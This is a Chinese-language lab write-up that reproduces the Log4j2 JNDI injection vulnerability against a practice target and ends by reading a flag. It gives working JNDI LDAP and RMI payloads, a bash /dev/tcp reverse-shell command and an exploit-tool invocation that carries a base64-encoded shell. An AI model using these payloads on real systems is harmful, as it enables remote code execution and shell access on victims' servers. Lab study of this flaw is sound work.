一、Apache Log4j2是什么?
Apache Log4j2 是一个基于 Java 的日志记录工具。该工具重写了 Log4j 框架,并且引入了大量丰富的特性。该日志框架被大量用于业务系统开发,用来记录日志信息。 在大多数情况下,开发者可能会将用户输入导致的错误信息写入日志中。攻击者利用此特性可通过该漏洞构造特殊的数据请求包,最终触发远程代码执行。
二、漏洞大致利用流程:
1、向目标发送指定payload,目标对payload进行解析执行,然后会通过ldap链接远程服务,当ldap服务收到请求之后,将请求进行重定向到恶意 java class的地址。
2、目标服务器收到重定向请求之后,下载恶意class并执行其中的代码,从而执行系统命令。
三、复现过程
1、 先下载需要使用的工具
https://github.com/welk1n/JNDI-Injection-Exploit
访问靶场地址:
2、使用dnslog进行测试
dnslog地址:http://www.dnslog.cn/
使用如下payload:
${jndi:ldap://2r21sa.dnslog.cn}
将上面的payload使用url编码后,访问目标地址时,在payload=后面加上刚刚转换后的url代码,访问之后查看DNSlog是否有回显,有回显则表示存在漏洞
3、使用JNDI工具注入反弹shell
https://github.com/welk1n/JNDI-Injection-Exploit
现在攻击机上启动一个nc监听
Linux反弹shell指令如下:
bash -i >& /dev/tcp/xxx.24.230.15/6677 0>&1
将上面的反弹shell代码使用base64加密后复制到下面的代码中,后面的-A后面写启动监听的攻击机ip
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C bash -c "{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC1234eQ1uMjMwL1jE2NS82Njc3IDA+JjE=}|{base64,-d}|{bash,-i}" -A XXX.24.230.15
攻击机执行上面的命令,执行后如下图:
将图中标红的地址复制下来,构造如下payload:
${jndi:rmi://XXX.24.230.XXX:1099/xvozci}
将其进行url编码
复制转换后的url格式payload,粘贴在目标url后面,进行访问,如下图:
此时发现已经攻击机与受害主机建立了连接
查看正在监听的nc,发现已经反弹了shell,使用如下命令查看flag,进行提交
ls /tmp